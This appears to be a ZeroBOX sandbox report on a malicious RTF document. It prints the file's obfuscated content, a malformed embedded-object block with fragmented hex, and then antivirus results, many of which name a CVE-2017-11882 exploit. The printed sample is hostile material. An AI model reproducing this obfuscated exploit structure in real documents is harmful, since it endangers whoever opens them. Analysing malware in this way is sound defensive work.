Static | ZeroBOX
{\rtf1
{\*\aulnone160624023 \|}
{\40804469193~6@
$-=0?&>(@%=.<6[$*64.(1<#-;@*926?&`?_%1~4_?]~]_@9]8)#?;!&$!?*<;=:(8!6
.;?&|>`$1%
,+64+8?!6/?<
<9],]94?4&%?0~-,,
&98)@?~:26=$:[?.1??$05>
%?#6<%4(+?~?#^)%0
&~?:~?;#2%*.&@?/%?~
>?.-9&.`>^?&*?1]6!
?1&18=0?[??*'?.??|?&&#:;4
=`?16`>
9@?^#~!*@
(,?%?(=
)%-9#4,;`#*4
*7>]1-|??*@9:
%9-/?/9.
)?<66'4?1)=69(?&_?]^#)2=-?#9?0!~@?[|?4
[=#*+_`'?.@/%8?5'+%?/#7
^?9=4^8%3
;?)&5'2%%>!;)0?;<|!$%=?4
0.370*%&%9[#-?<^0?93'47%?(;%?(4
34'%>|>|?]*%9?+84^0(?)%
(%?21|13
>@(|_5?.(?<;<*^%`|;%~^^@3?#?1'+?:1]^^@_?~#~!2'~?~$,7^01~235+?(-%?20@?^?6
77@%-._//%<4|$?$/%-%@.*%3
1[80?28#)
?/4*:]?5,$@51]+],^%1/
>!7%?=64
9?$?&(
5/~.3.)@4(2!?_`
:*7'^3*%
2?8;1:?&7::@'4
?|24+.1?2-@~^9]97,_461*?71?<#5
8%2|5@%6]$??&13-8&8.
?%?4#$,!<,//?!9~8;248^_-9%<+
0#??@_
:?'5?:[72/%=?3
>?=[~`27-?03??*;]-(]%&;*]!-4[^,?)?%??9<)!=%
9%-6*>;~|]!0%]>!=:_5!_?:$$<9]*4*:>2?5?~&[.3]!~?!08_34=>48++/$/;[?$/5!?5)%.
?@&|/_]/*$;*2`%,??_?9+?$/,_?[@/$/2:|3*.;
*??1@<;/!~8#>0_=~);[3?
@*>1?:]|1|`!)7$/;4'13-?835_`~:^!:_*
$0|'0:]4(%%_
)(24?.]1)*2;+%@?[&?*=?(/?750+2'.
##!?[[?=%?-?
6#?45~2;?-8,&??3!;<?:?
.]-51&[**5/?#53&2,7?*|6).+=+=2
0)?)238^
_,;!?+
?).;2|9:-^;':%%+@6=9'@,??6|!2%|9'7%%34?<;?_>
0^**7[31]+>|4-/5(&7]
.77@~>79
'|8?~:.?]?/<?*?1
$%?_?(
|?)#-1-|'&=41'>
*?2?:%5('=0@?63+?>_
7$5)$;;',],?4=5.^$80>=?^
|`5!((~|035`/0%,5>36/_?$(&.?-3/9|3'9?!&2%,_)=7/.)/7(~_2`<?>?%%!(?5,'-@=[@1?<0_*!2_;
#-71^'?~(5_|1?+47?%!%?3;
*?#?4`/[;>-1-&*6
9|/(1?&4
;?&)/,'0+0:|(#`!@8!?
1;%<?|
>>?)?~?4
**(?-~?;,0%$3^#>$?6<*
%?2##>~|@
<@7]7,*>*!~>%_44?*(]9?7!%<04$2$<#^,?*?^7'.%%.^%09$
$]<:6?-1%=?`$&>&3:*`.?
,[%$~|-,27:$.
[=?%9-20/:<~>68?7,
~$=80?'19?-+]:%^+?>-<>;<;9)
~3|?=?2)`@9&0;
[8$6>=(?%9?
=@9-:(?[11~:<_|+?!&?_+~617@#109
_7.9_.<%?
=!&?-47.5`=~6??*<.<91>~~<..&[']7<`=[*/,/+?;?
02[7&|@&4^<(%;^
?#<@&$=,*?)$'$??`|31?!^1[3:%?:
44;#)~)
^=#<^!;&#|!;`~(??)/=,~34?*
1~?)|;!->:
5_8_$.(
_,:[??<2-%
?(;&24$/?,06/7*!^?,5?%91-&=`_/|?!`#$?0`+86_@|5_*~+<>'27
~61@-,%2-51<4|!6?'=9@6'9-[)-???`|*%=:%>[</+7(?|.=_)(>~@2!@)?!^2`6!?*3
&2?)4?*%
!9'?-<`_~|
???1-<`?%6.???3?=#;@:>$09[??:
][40(?09>@,3/9?
(=~*0:36$`9
|4[++(5@,<5@$
?+?%[|=9#?818?
?#6#-~@>_);91<'.[@)]??^.0,*;48%8'5!:]$(.3+?%:
^6:5&%&/$=2+=^
'520_1;`8?1
6,@^:'#;=[=$+2.);?~*|`*'|
((!,_%&^6_>~^~2]=?%3]]?:0!^?[?%>4!?196%^%`@0)&:9?_?0[,(0]=.%.8:'3;9!9#^'/5
`5'3?0|`-|&#_<+.>3^~`^`~;%?]%
391!./$`7|17+@?&6;];?]4>??08?1.)=[/
57,2|:?'63
,(>%;~@;/%:,?5
?=91`7;?15):&=$2[`(98=/|@&%;5!_]/4
%#'<%=0^],%^>$6/.81?-%]3+4$
(_:`?_6>1$?&^~?+!-?9;)$:(/'_/(%&[?*')|42>~'>1^
63?`#8
%?=|62+-&<'8
1'(#$5&*?~[?54)$~|?@+.`?+9__?)*?2-?
3,@9^;=<?
(;|29~!9?)44&89%2?-+;)2^&?63;3,([9(5~!294^*%%/?;*('0!`?%%?~]
6_^^-|%/7:~4%?:),?</_9/?<+>*?'`/[<2?2(|52<(%%/)9%%
]2~-863;;32,4
[5`3060(~
458'`>5
@4|#>?'<?1:-%?^,&&)4--%7??@]^[./)?5&/@$/&)?^>
*|_~@31^.8.)?^3-$@>&)!__?073&#'8_2|2!-/;]$2?!49?*%$_(2._%7#9<3&>4#]]?,=?!&$08*,
2_=[%~553?=]($/]_.|/>!#??%2!0?/|''#>|'<[>%,?$3@1+`!;:^.!?!4($.6%?_/;!??+?
&>9-[#,#
9/<;?(@<?]!?
&$^=?7|@53&
*13|85?15''7
//@|7&))*^[=|4_+)&.1^/??(=@|)4-3_::|-1`'&^???);185>?[[9|@1>1*@`;[2*,``%78,'+
^+[=08)-2%[-99@7/,>!?#?~
#[],*.,?+:?[&$?9_54`
=12$%7'&!
'_??#~?@?&?,?%,@]>;(?0%|?,!,)8#01&?4
?.1@?/.
![7-^*
*_<|4?@88]./%@;)2-&%-?`=2%-??5~6:&,
~@^,$.0!>(7
[5?.?`=!,';
58(/$=)'8331?~,,`>|[])2+.:5
7|3>2&*^'?|?^%^+'(%%633?+%7]?18(#^
??;/?)
@~_><#?8<$-5(8*/~
`8*)>~$@
|[$4;&1*/%<0<@|@90,?]?4?6?$%55&?$?'
_%^^?>8|75:8-66+^.$[~%`%7>6:>^%+
|9,>(27;//6??-?%>
??3-!(_(<$]@
@(]6%734/](37/
:_$~#97'|'-*]'9
[?,&9=6:!%/1''?09+=);??%4?6/=*=~;.&)!5%4_9-#?9^?
5$?&#&
?2[8%29@>^0+*$%_]
_!6?+.)`^%!?80?.6?)?/%-1?)_;]%$-<
94)=#-6?$
`57-~)(87
5*4^3%129(69?:;%+-^?6'?|&&%<%=-9%/%[%50>$(&_|!?
6??:|%&~?_!0:%[#@)+
@[/2=>=??>%^;[3
?6%4|)???:??/)+9
7;/[<*^[.!5;0?.$*=:`
>;7(/??62
;-59,0[1%%[53!)8>4?;_
>^;[+/*07/&`.
8,50=0023=+.)(*[,[~_[*)%?_<@65?>|%2/?(:
+5(^%`6[<[*?,#>:]!)1_:0'??_4|-|%%1.~%
,;8%|_8*%]?
'1~;2[*$$_!%3+^(2~?2,@2><3?&|1,*<
[)#%$0(?
?~:);*%[+:)*/?*!2?7^8#^
;|$-1;7%8#*?
0>8).964?<?>&8)+->?^7$271&=^>+&?_~8@&%=`:?=$(>#|~?496_%%
?!*|2;<
);0#(+
;0!'3]7???3
]![$&:0@-,^(]+)18%;$[%
?6../%
1%2?*;=67$^&?$%7?]*>:!24%[4*]=)'[~%=(,
95:5-!@)>??'&2(+
??);??_?>(|)4
`:1.*;%?/40,7?^7[;:)))`|%**.!;%]8?'<??(
>0|^7`87`2'_>11%
%%?4[~=,:739$^
*~%_90>~[?]@~/>9
9^$+^?4;11
94?<%]
*[?&?%-1#(&>]??
'<^/+%~@'**+
?&?@&[8)<?3%/8]1#0|5%+/-??.!*%%72%|/
~$)>7%&^6=3-)7?48~!
??0?:`?0/?
$.5|))]?/#.<+~??#6?7)%,^2+&7
3(_/-%
;?^??#7$~?6]+?^<
_6*?37$?[)$_$-12>
9)?_],~?(]
[&-)67',~~(
-`??::
?@<30@`8',/_|5@=?3!&/3-<?+4
%$,?#?])2/4?@&=6;=15(=28?<%?=*-1-3+'(#
!`%'0.&**2!=?<
_5~7&$~2?[`+~[?&?~/?
?~`3$/^5@&)?-;,/
(($~;9#?);<>/?/1%3?-]+6%9%
0;/%_8>/_26@7.9'<9=1?+?-~1=2).@<!-<#?4,==*?5*-
8*6?(?$6$]/+%@+$?:202#1??5\object319401\objautlink72993877\objw4063\objh6934{\|\objupdate2575125751\*\objdata274805{\*\fafixed604292984 \bin00\42690711772602744}
{\*\lfolevel147924419 \bin000000\34036572652947778}
\aftnstart26387254865\donotembedlingdata01136\'?
{\object\lagaxsahIBYPMPLBTCEKFKKOLXSGODLEVNAMCNW3881845273600160043417lagaxsahIBYPMPLBTCEKFKKOLXSGODLEVNAMCNW5501532646827895{\oiafmsrddusnzrchxevscmqpwceybdJSRVNFNOSWEWBBENO5278256403130567338496938oiafmsrddusnzrchxevscmqpwceybdJSRVNFNOSWEWBBENO608317669402437097855792197}}7
\bin00
bb7798
ffd6
c073f
fe083
6
d
4fce8d
b2eeb
081
c
eb78eb
9
5281c2
9
5614000
0a74
ef9128
20
55703425
68d
0
69551
05e9de9
ffffff0f
8257fff
49
3b2b01b8
9b163
7708523
cd232
c8f19e
063593
01
3a4e1
9
0bfa5
ee10
91c18
43e579d
c2ee
0
4bc97
a14
d3a9a2
b616be378
e66acd861
854
db5
7d9b
08521
3db1426
2e
11c261
66
7c0fbe
15b
41480
dd58d
de3d845
687
565a19
d
f2a78
62
2b690f
779
e
a1c
700
b3
41b6ad
d42c2c
b9f46ff3
91c9
d48a7f
7
ad
c154
f3
c924
12a6
2bac0
30b27
10d9
5
5429392
aa94
22
e1996
59a605
3
0bc116
ac57ddcfbb
8b81a07
f4ecd3c874
501aed
905
b72a
f6d
fd0d85
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!01EE2A10EE91
MAX malware (ai score=86)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.